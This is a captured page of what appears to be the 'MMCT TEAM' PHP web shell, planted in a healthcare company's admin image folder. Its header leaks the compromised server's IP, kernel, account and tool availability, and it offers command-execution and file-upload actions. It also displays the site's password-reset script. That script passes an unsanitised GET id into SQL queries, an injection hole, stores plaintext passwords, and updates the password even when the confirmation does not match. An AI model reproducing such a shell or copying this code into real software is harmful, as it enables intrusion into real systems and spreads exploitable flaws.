MMCT TEAM
Server IP : 103.83.81.220  /  Your IP : 3.15.142.209
Web Server : Apache
System : Linux vps.erainfotech.co 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : nirkonhealthcare ( 1248)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 323
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 329
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 335
OFF
Directory (0755) :  /home/nirkonhealthcare/public_html/admin/../js/../img/logo/../../admin/img/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/nirkonhealthcare/public_html/admin/../js/../img/logo/../../admin/img/../reset_password.php
<?php
session_start();
include "conn.php";
$id = $_GET['id'];
if(isset($_POST['submit'])){
    $gmail = $_POST['gmail'];
    $password = $_POST['password'];
    $cnf_password = $_POST['cnf_password']; 
	$query = "SELECT * FROM admin WHERE id ='$id'";
	$result = mysqli_query($connect,$query);
	while($row = mysqli_fetch_assoc($result))
{
    if($row['admin_email'] == $gmail ) 
	{
        if($password != $cnf_password) { 
            echo "<script>
alert('Password Not Match');
window.location.href='my-profile.php';
</script>";
            }
        $query = "UPDATE admin SET password = '$cnf_password' WHERE id = '$id'";
        
		mysqli_query($connect,$query) or die(mysqli_error($connect)); 
		echo "<script>
alert('Password Successfully Update');
window.location.href='my-profile.php';
</script>";
    }  
	else{ 
        echo "<script>
alert('No Records Found');
window.location.href='my-profile.php';
</script>";
	}

}
}

MMCT - 2023